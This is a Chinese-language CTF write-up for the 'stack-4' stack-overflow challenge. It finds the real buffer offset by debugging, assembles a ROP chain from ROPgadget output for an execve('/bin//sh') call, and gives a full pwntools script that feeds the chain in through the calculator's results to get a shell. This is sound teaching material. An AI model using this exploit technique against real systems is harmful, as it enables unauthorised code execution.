某stack-4

一道静态编译的栈题,利用ROPgadget构造ropchain。

只开了NX保护。

可以发现如果v6的值也就是计算次数足够大的时候,使用功能5就可以产生栈溢出,但是要注意的是这里ida显示的v5的地址是ebp-0x34,但事实上调试来看,这个地址是错误的。

这里可以看见ebp的地址是FF80A888,我调试时输入的计算结果3次都是0xA0,可以知道v5的地址是FF80A84C,是ebp-0x3c,所以覆盖到返回地址所需要的偏移为0x3c+4,覆盖所需要的计算次数是16次。

为了获取shell,使用了ROPgadget生成rop链。

ROPgadget --binary stack-4. ropchain

因为这个程序构造ropchain只能四个字节四个字节地构造,所以把ropgadget提供的ropchain拆解一下,自己手动构造,需要注意的是’/bin’和’//sh’转换成数字时需要注意大小端序。

1
2
3
'nib/'=0x6e69622f
'hs//'=0x68732f2f
p=[0x0806ed0a,0x080ea060,0x080bb406,0x6e69622f,0x080a1dad,0x0806ed0a,0x080ea064,0x080bb406,0x68732f2f,0x080a1dad,0x0806ed0a,0x080ea068,0x08054730,0x080a1dad,0x080481c9,0x080ea060,0x0806ed31,0x080ea068,0x080ea060,0x0806ed0a,0x080ea068,0x08054730,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x08049781]

另外由于完成构造后还需要进行计算一次才能完成覆盖,所以计算次数为16+len(p)+1

最终脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
sh=process('./stack-4.')
elf=ELF('./stack-4.')
p=[0x0806ed0a,0x080ea060,0x080bb406,0x6e69622f,0x080a1dad,0x0806ed0a,0x080ea064,0x080bb406,0x68732f2f,0x080a1dad,0x0806ed0a,0x080ea068,0x08054730,0x080a1dad,0x080481c9,0x080ea060,0x0806ed31,0x080ea068,0x080ea060,0x0806ed0a,0x080ea068,0x08054730,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x0807b75f,0x08049781]
sh.recvuntil("calculate:")
sh.sendline(str(16+len(p)+1))
for i in range(16):
sh.recvuntil("result\n")
sh.sendline("1")
sh.recvuntil(":")
sh.sendline("0")
sh.recvuntil(":")
sh.sendline('0')
for i in range(len(p)):
sh.recvuntil("result\n")
sh.sendline("1")
sh.recvuntil(":")
sh.sendline("0")
sh.recvuntil(":")
sh.sendline(str(p[i]))
sh.recvuntil('result\n')
sh.sendline('5')
sh.interactive()
文章目录
|